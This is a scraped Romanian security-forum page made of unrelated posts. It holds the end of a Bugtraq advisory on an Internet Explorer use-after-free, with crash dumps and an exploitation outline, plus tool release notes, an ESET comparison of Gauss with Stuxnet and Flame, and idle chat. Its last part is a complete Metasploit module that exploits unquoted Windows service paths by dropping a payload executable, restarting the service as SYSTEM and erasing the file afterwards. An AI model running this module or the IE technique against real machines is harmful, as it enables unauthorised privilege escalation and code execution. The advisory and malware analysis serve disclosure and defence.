MSHTML!HtmlLayout::CIE9DocumentLayout::FormatPage+0x00000065 6d48c517 MSHTML!CCssDocumentLayout::FindOrFormatPage+0x00000272 6d4872fb MSHTML!CCssDocumentLayout::GetPage+0x00000964 6d48e06f MSHTML!CMarkupPageLayout::CalcSize+0x0000028c 6d48de82 MSHTML!CMarkupPageLayout::CalcTopLayoutSize+0x00000101 6d48fba1 MSHTML!CMarkupPageLayout::DoLayout+0x00000056 6d47e65a MSHTML!CView::ExecuteLayoutTasks+0x00000034 6d476a85 MSHTML!CView::EnsureView+0x000003bf 6d498701 MSHTML!CView::EnsureViewCallback+0x000000b8 6d5a9d09 MSHTML!GlobalWndOnMethodCall+0x00000115 6d5c9368 MSHTML!GlobalWndProc+0x00000302 7748c4e7 USER32!InternalCallWinProc+0x00000023 7748c5e7 USER32!UserCallWinProcCheckWow+0x0000014b 7748cc19 USER32!DispatchMessageWorker+0x0000035e 7748cc70 USER32!DispatchMessageW+0x0000000f 774a38d7 USER32!DialogBox2+0x0000015a 774a3b27 USER32!InternalDialogBox+0x000000cb 774ce0d5 USER32!SoftModalMessageBox+0x0000068a 774ce659 USER32!MessageBoxWorker+0x000002ca 774ce78c USER32!MessageBoxTimeoutW+0x0000007f ... At this point, a fully developed exploit might use Javascript to reallocate and overwrite the memory formerly belonging to the now-freed CTreePos. For the sake of this walkthrough, it suffices to let page heap wipe the freed memory of the CTreePos with 0xF0. Finally, once the user closes the message box, execution of the interrupt font downloading and page rendering code continues, but the code fails to anticipate that the program state has changed during the MessageBox call. A pointer on the stack to the destroyed CTreePos is dereferenced, resulting in an access violation. The following register dump, disassembly, and call stack illustrate; notice that EBX points to stack memory from which a pointer to the destroyed CTreePos is taken: Access violation - code c0000005 (first chance) eax=005ba430 ebx=03b5c5c8 ecx=f0f0f0f0 edx=03b5c540 esi=00000000 edi=00557840 eip=6d47b5d7 esp=03b5c450 ebp=03b5c510 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 MSHTML!CElement::ComputeFormatsVirtual+0x1a64: 6d47b5d7 0fbf4120 movsx eax,word ptr [ecx+20h] ds:0023:f0f0f110=???? 6d47b5c5 8b03 mov eax,dword ptr [ebx] 6d47b5c7 8b8bd4000000 mov ecx,dword ptr [ebx+0D4h] 6d47b5cd 89442420 mov dword ptr [esp+20h],eax 6d47b5d1 894c242c mov dword ptr [esp+2Ch],ecx 6d47b5d5 8b08 mov ecx,dword ptr [eax] 6d47b5d7 0fbf4120 movsx eax,word ptr [ecx+20h] 6d47a5a3 MSHTML!CElement::ComputeFormatsVirtual+0x1a64 6d47a4d6 MSHTML!CElement::ComputeFormats+0xe1 6d47bd39 MSHTML!CTreeNode::ComputeFormats+0xba 6d482d33 MSHTML!CTreeNode::ComputeFormatsHelper+0x40 6d360862 MSHTML!CTreeNode::GetFancyFormat+0x32 6d2d910f MSHTML!CElement::UpdateFormats+0x426 6d4ce10f MSHTML!CControlledFormatter::Init+0xcc 6d47fa14 MSHTML!CElement::OnPropertyChangeInternal+0x3fa 6d49b76b MSHTML!CElement::OnPropertyChange+0x1b 6d2da8db MSHTML!BASICPROPPARAMS::SetStringProperty+0x36a 6d0084d6 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_className+0x61 6d0cc04d JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d0cc968 JSCRIPT9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x117 6d009a85 JSCRIPT9!Js::JavascriptOperators::SetProperty+0x8c 6d009a2c JSCRIPT9!Js::JavascriptOperators::OP_SetProperty+0x59 039507b8 JSCRIPT9!Js::JavascriptOperators::PatchPutValueNoLocalFastPath+0xbc 6d0084d6 0x39507b8 6d0083fb JSCRIPT9!Js::JavascriptFunction::CallFunction+0xc4 6d008332 JSCRIPT9!Js::JavascriptFunction::CallRootFunction+0xb6 6d0082be JSCRIPT9!ScriptSite::CallRootFunction+0x4f 6d0cf12c JSCRIPT9!ScriptSite::Execute+0x63 6d4f24d1 JSCRIPT9!ScriptEngine::Execute+0x11a 6d4f23fb MSHTML!CListenerDispatch::InvokeVar+0x12a 6d54ce40 MSHTML!CListenerDispatch::Invoke+0x40 6d44e624 MSHTML!CEventMgr::_InvokeListeners+0x187 6d54cf37 MSHTML!CEventMgr::_InvokeListenersOnWindow+0xcc 6d5db67d MSHTML!CEventMgr::Dispatch+0x3cc 6d53ba32 MSHTML!CEventMgr::DispatchFocusEvent+0x7d 6d5e6f74 MSHTML!COmWindowProxy::Fire_onfocus+0x84 6d5e6ff1 MSHTML!CAsyncEventQueue::DispatchAllEvents+0x7c 7748c4e7 MSHTML!GlobalWndProc+0x2ed 7748c5e7 USER32!InternalCallWinProc+0x23 7748cc19 USER32!UserCallWinProcCheckWow+0x14b 7748cc70 USER32!DispatchMessageWorker+0x35e 6e8e1b44 USER32!DispatchMessageW+0xf 6e901a16 IEFRAME!CTabWindow::_TabWindowThreadProc+0x722 759315b0 IEFRAME!LCIETab_ThreadProc+0x317 6e8efd5b IERTUTIL!CIsoScope::RegisterThread+0xab 75c4ed6c IEFRAME!Detour_DefWindowProcA+0x6c 773737f5 KERNEL32!BaseThreadInitThunk+0xe 773737c8 NTDLL!__RtlUserThreadStart+0x70 00000000 NTDLL!_RtlUserThreadStart+0x1b EXPLOITATION ------------ Exploitation of this vulnerability is typical for a basic use-after-free condition in Internet Explorer, in that the exploit: (1) creates an object on the heap, (2) causes the object to be freed while references to it persist elsewhere, (3) replaces the contents of the heap memory formerly occupied by the object with arbitrary data, and (4) causes Internet Explorer to access a stale reference to the freed object. In a prepared proof-of-concept EIP control exploit targeting Internet Explorer 9 (32-bit), these steps were accomplished by: including two nested, named "div" elements in the HTML; modifying the outer "div" element to destroy the inner "div" (while the mail client error message is on the screen); performing a typical heap spray to store known data at a known address; and creating a large number of CTreePos-size heap blocks containing specially crafted data to fill the hole left by the freed inner "div" element. The specially crafted data includes a substitute vtable pointer which references heap-sprayed data at a hard-coded address, another feature typical of such exploits. The only step that this exploit cannot accomplish entirely on its own is triggering Internet Explorer to access the stale inner "div" element reference--this access occurs only after the user dismisses the mail client error message. MITIGATION ---------- Setting the "Downloads" -> "Font download" security setting to "Disable" ("HKEY_CURRENT_USER\Software\Microsoft\CurrentVersion\Internet Settings\Zones\<zone-identifier>" -> "1604": REG_DWORD = "3") prevents exploitation of this vulnerability using the present technique. Deleting, renaming, or denying read access to the "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\mailto" registry key (and "HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Classes\PROTOCOLS\Handler\mailto" as appropriate) also prevents exploitation using the present technique; however, after implementing the workaround, confirm that clicking a "mailto:"; link in any zone does not display a message box. CONCLUSION ---------- This document presents a long-lived vulnerability in Internet Explorer which permits arbitrary code execution given default security settings. Although current exploitation involves a modest amount of user interaction and user notification in the form of a mail client error message, the message is not security-related, and the message box does not present the user with an option of aborting exploitation. Further research into the vulnerability might reveal other means of exploitation which may change the presented message or reduce or eliminate the need for user interaction. GREETINGS --------- www.thetomatopizza.com ^ The best pizza anywhere near DFW; required eating for locals and remotes. Sursa: Bugtraq: Internet Explorer Script Interjection Code Execution

PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDING Contine 2 executabile encryptate (prost), si nu vad de ce ar contine. Ban, explicatii ulterioare dupa un alt cont daca chiar e nevoie.

[h=1]UPDATE: ThreadFix 1.0 beta 21![/h]“ThreadFix is a software vulnerability aggregation and management system that helps organizations aggregate vulnerability data, generate virtual patches, and interact with software defect tracking systems. It imports the results from dynamic, static and manual testing to provide a centralized view of software security defects across development teams and applications. The system allows companies to correlate testing results and streamline software remediation efforts by simplifying feeds to software issue trackers. By auto generating application firewall rules, this tool allows organizations to continue remediation work uninterrupted.” [h=2]Changes made to ThreadFix:[/h] Defect Tracker and Remote Provider credentials are now encrypted before being saved in the database. An IBM Rational AppScan Source Edition alpha importer is now included. A few changes have been made to ease the development of a custom Defect Tracker solution. Now users can add a database entry and drop a JAR in the ThreadFix lib to include custom Defect Tracker code. CWE names have been updated to stay current with the May 2012 2.2 release of the standard. Veracode and Qualys now import all of the scans in an application’s history instead of just the first one. Veracode vulnerabilities that were marked as false positives will now import to ThreadFix as false positives. A few Nessus vulnerability types have been added, but most Nessus findings will still not import to ThreadFix. All tables that display vulnerability or finding information have been moved to an asynchronous loading method to improve performance and memory usage. The queue for scans now behaves serially to enforce scan ordering. Several bugs have been fixed and small changes have been made to the UI. [h=3]Download ThreadFix:[/h] ThreadFix 1.0 Beta 21 – ThreadFix_1_0_beta21.zip Sursa: ThreadFix 1.0 beta 21! — PenTestIT

Va fi mai tarziu, nu in septembrie, il sun azi pe boschetu de Andrew sa vad, ca avem mai multe de discutat.

A inceput, intrati.

[h=1]UPDATE: NetworkMiner 1.4![/h]August 16, 2012 - 3:33 pm By Mayuresh “NetworkMiner is a Network Forensic Analysis Tool (NFAT) for Windows. NetworkMiner can be used as a passive network sniffer/packet capturing tool in order to detect operating systems, sessions, hostnames, open ports etc. without putting any traffic on the network. NetworkMiner can also parse PCAP files for off-line analysis and to regenerate/reassemble transmitted files and certificates from PCAP files. NetworkMiner collects data (such as forensic evidence) about hosts on the network rather than to collect data regarding the traffic on the network. The main user interface view is host centric (information grouped per host) rather than packet centric (information showed as a list of packets/frames).” [h=2]Official change log for NetworkMiner 1.4:[/h] DhcpPacketHandler.cs: DHCP option data is now extracted to the parameters tab. Thanks to Paul Cockayne for the idea. IPv4Packet.cs: Fragmented IPv4 packets are now properly reassembled to full IP packets with payload. IEC_60870-5-104Packet.cs: Implemented the SCADA protocol IEC 60870-5-104. Thanks to Aivar Liimets from Martem for his great support on this one! PacketHandler.cs: Added proper timestamps to detected anomaly events and improved ARP poisoning reporting to anomalies tab. NetworkMinerForm.cs: Verification of file extention is completely removed. Files with any extention can now be loaded, as long as they are valid libpcap files. NetworkMinerForm.cs: Added “Clear GUI” button to Tools menu. NetworkMinerForm.cs: Added option to show/hide cookies, NTLM challenge-responses as well as the ability to mask passwords in credentials tab. According to us, the highlight of this release is the addition of the SCADA protocol! [h=3]Download NetworkMiner:[/h] NetworkMiner 1.4 – NetworkMiner_1-4.zip/NetworkMiner_1-4_source.zip Sursa: NetworkMiner version 1.4! — PenTestIT

Smishing? Haide ba... Va introduc si eu "polonishing": primesti un link aparent inocent, si cand dai click pe el: BUM, POZA CU POLONIC, faci infarct si mori! Oricum, e acelasi rahat, daca atat te duce capul sa iti introduci datele bancare de oriunde, in orice situatie, iti meriti soarta.

Poti uploada altundeva, prea multe butoane de "Dowload" pe porcaria aia O sa ma uit diseara care-i treaba cu imaginea.

[h=1]Interconnection of Gauss with Stuxnet, Duqu & Flame[/h]by Eugene Rodionov Malware Researcher August 15, 2012 at 12:48 pm Last week, reports of a new malware named Gauss emerged, a complex threat that has attracted a lot of media attention due to its links to Stuxnet and Flame and its geographical distribution. Since ESET has added detection for this threat, we are seeing geographical distribution of detection reports similar to those detailed by Kaspersky. The countries with the biggest impact are, in order, Lebanon, Israel and Palestine. In this blog post, we analyze the connections and similarities in programming between Stuxnet, Duqu and Flame. The first thing that one can notice while analyzing Gauss is the abundance of object-oriented structures that makes it difficult to comprehend the malware functionality. The most prominent examples of malware that employ an object-oriented approach are Stuxnet, Duqu and Flame. Due to the complex logic of these threats, using object oriented programming is a reasonable way to efficiently implement their functionality. Stuxnet, Duqu and Flame utilize specific frameworks that are shown on the figure below: Figure 1 *– Stuxnet and Flame frameworks The complexity of implementation of Gauss is less than that of Flame, for instance. Even if you consider, for example, the size of the main module of Gauss (wmiqry32.dll) we can see that roughly 30% of size of its code section is devoted to standard library routines as shown on the diagram below: Figure 2 – Gauss main module layout For Flame this number is several times lower. If we arrange these threats according to its complexity then we will get the following picture (Gauss’s encrypted payload isn’t considered since we aren’t aware of its content): Figure 3 – The threats arranged according to its complexity In tables 1 and 2 you can see the results of comparison of several modules of Gauss with Stuxnet and Flame. These data are obtained with the BinDiff plugin for the IDA Pro disassembler that allows us to estimate how similar the two modules are to each other. Table 1 – Similarity of Gauss modules to Stuxnet Table 2 – Similarity of Gauss modules to Flame From the data contained in tables it may be concluded that Gauss is even closer to Stuxnet than to Flame. These data were also confirmed during manual analysis of the malware. For instance, we found the same structures handling string objects, memory buffers, streams and other elements in both Stuxnet and Gauss, whereas Flame utilized other structures to work with such elements. Based on the binary analysis the only thing that Gauss shares with Flame is the way it encrypts the strings inside the binary module. But the decryption algorithms implemented in the malware are also rather different. In the figures below decryption algorithms of strings in Gauss and Flame are presented: Figure 4 – Gauss String Decryption Algorithm Figure 5 – Flame String Decryption Algorithm Other features of the malware such as injection technique, configuration information storage, and so on are also different. Stuxnet and Flame employ rather complex injection mechanisms that allow them to bypass security software. They create the illusion of a legally loaded module to bypass HIPS-like systems. Unlike them Gauss utilizes rather a simple and straightforward injection technique. It merely allocates a memory buffer in the target process address space and copies the path to the module to inject into it: Figure 6 – Gauss injection technique Then it creates a remote thread by calling CreateRemoteThread API routine that executes only the routine LoadLibtatyW as shown in self-explanatory figure below: Figure 7 – Decompilation of the code injecting a module Another differentiator is that Flame implements quite complex configuration information storage as described in one of our blogs posts: “Flame: in-depth code analysis of mssecmgr.ocx”. The configuration information of Gauss has nothing in common with that of Flame and is stored in the registry value TimeStampForUI of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Reliability key as binary data and is easily parsed. In our previous blog post we wrote about reconstructing the Flame framework as a composition of objects implementing a specific interface: Figure 8 – Flame Framework Architecture We haven’t found this architecture in any of the Gauss modules we analyzed. The only Gauss module that contains a piece of code implementing objects similar, in a rudimentary way, to one found in Flame is winshell.ocx, but there is no implementation of the framework comparable to figure 6. As a result it may be concluded that Gauss is another standalone kind of malware, although it is quite possible that its developers are somehow connected with developers of Stuxnet and Flame. It borrows some features from these other malware but it may not be classified as something that is based on either a Stuxnet or Flame framework. Eugene Rodionov, Malware Researcher Sursa: Interconnection of Gauss Malware with Stuxnet, Duqu & Flame | ESET ThreatBlog Although Gauss shares some features with Stuxnet and Flame there is some evidence that this is another kind of malware rather than one based on either the Stuxnet or Flame framework. This conjecture is based on the binary analysis of the modules of Gauss and below we will present several arguments supporting this idea.

Mai multe informatii de la Microsoft: Microsoft Security Bulletin Summary for August 2012

Da, informative, o sa il urmaresc si pe ultimul cand am timp. Chiar am aflat multe lucruri...

Windows Service Trusted Path Privilege Escalation Authored by sinn3r | Site metasploit.com Posted Aug 15, 2012 This Metasploit module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the same problem. ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' require 'msf/core/post/common' require 'msf/core/post/windows/services' class Metasploit3 < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Exploit::EXE include Msf::Post::Common include Msf::Post::File include Post::Windows::WindowsServices def initialize(info={}) super( update_info( info, 'Name' => 'Windows Service Trusted Path Privilege Escalation', 'Description' => %q{ This module exploits a logic flaw due to how the lpApplicationName parameter is handled. When the lpApplicationName contains a space, the file name is ambiguous. Take this file path as example: C:\program files\hello.exe; The Windows API will try to interpret this as two possible paths: C:\program.exe, and C:\program files\hello.exe, and then execute all of them. To some software developers, this is an unexpected behavior, which becomes a security problem if an attacker is able to place a malicious executable in one of these unexpected paths, sometimes escalate privileges if run as SYSTEM. Some softwares such as OpenVPN 2.1.1, or OpenSSH Server 5, etc... all have the same problem. }, 'References' => [ ['URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425(v=vs.85).aspx'] ], 'DisclosureDate' => "Oct 25 2001", 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], 'Platform' => [ 'win'], 'Targets' => [ ['Windows', {}] ], 'SessionTypes' => [ "shell", "meterpreter" ], 'DefaultTarget' => 0, # Migrate away, in case the service dies (can kill access) 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' } )) end def check if enum_vuln_services.empty? return Exploit::CheckCode::Safe else return Exploit::CheckCode::Vulnerable end end def enum_vuln_services(quick=false) vuln_services = [] service_list.each do |name| info = service_info(name) # Sometimes there's a null byte at the end of the string, # and that can break the regex -- annoying. cmd = info['Command'].strip # Check path: # - Filter out paths that begin with a quote # - Filter out paths that don't have a space next if cmd !~ /^[a-z]\:.+\.exe$/i next if not cmd.split("\\").map {|p| true if p =~ / /}.include?(true) # Filter out services that aren't launched as SYSTEM next if info['Credentials'] !~ /LocalSystem/ vprint_status("Found vulnerable service: #{name} - #{cmd} (#{info['Credentials']})") vuln_services << [name, cmd] # This process can be pretty damn slow. # Allow the user to just find one, and get the hell out. break if not vuln_services.empty? and quick end return vuln_services end def exploit # # Exploit the first service found # print_status("Finding a vulnerable service...") svrs = enum_vuln_services(true) if svrs.empty? print_error("No service found with trusted path issues") return end svr_name = svrs.first[0] fpath = svrs.first[1] exe_path = "#{fpath.split(' ')[0]}.exe" print_status("Placing #{exe_path} as #{svr_name}") # # Drop the malicious executable into the path # exe = generate_payload_exe print_status("Writing #{exe.length.to_s} bytes to #{exe_path}...") begin write_file(exe_path, exe) rescue Rex::Post::Meterpreter::RequestError => e # Can't write the file, can't go on print_error(e.message) return end # # Run the service, let the Windows API do the rest # print_status("Launching service #{svr_name}...") tried = false begin status = service_start(svr_name) raise RuntimeError, status if status != 0 rescue RuntimeError => s if tried print_error("Unable to start #{svr_name}") return else tried = true end case s.message when 1 # Service already started, restart again service_stop(svr_name) retry when 2 # Service disabled, enable it service_change_startup(svr_name, 'manual') retry end end # # "Nothing ever happened, we swears it on the Precious!" # print_status("Deleting #{exe_path}") begin cmd_exec("cmd /c del \"#{exe_path}\"") rescue ::Exception => e print_error("Unable to remove #{exe_path}: #{e.message}") end end end Sursa: Windows Service Trusted Path Privilege Escalation ? Packet Storm